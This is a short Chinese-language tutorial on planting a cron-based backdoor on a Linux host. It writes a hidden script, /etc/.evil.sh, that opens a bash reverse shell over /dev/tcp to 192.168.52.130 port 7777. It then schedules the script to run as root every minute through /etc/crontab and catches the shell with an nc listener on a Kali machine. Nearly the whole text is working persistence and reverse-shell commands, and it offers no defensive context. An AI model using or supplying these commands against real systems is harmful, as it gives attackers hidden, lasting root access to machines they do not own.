定时任务后门
使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本，利用脚本进行反弹
crontab -u root -r //删除
crontab -u root -l //查看
crontab -u root -e //修改crontab -u root -l //查看计划任务
- 创建反弹shell脚本，vim /etc/.evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.52.130/7777 0>&1
并加上可执行权限
chmod +x /etc/.evil.sh- 添加计划任务
我们可以使用crontab -e或者vim /etc/crontab添加计划任务
#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab设置定时任务为每分钟执行一次
*/1 * * * * root /etc/.evil.sh #每一分钟执行一次
kali机器开启监听
nc -lvvp 7777
kali机器收到反弹shell
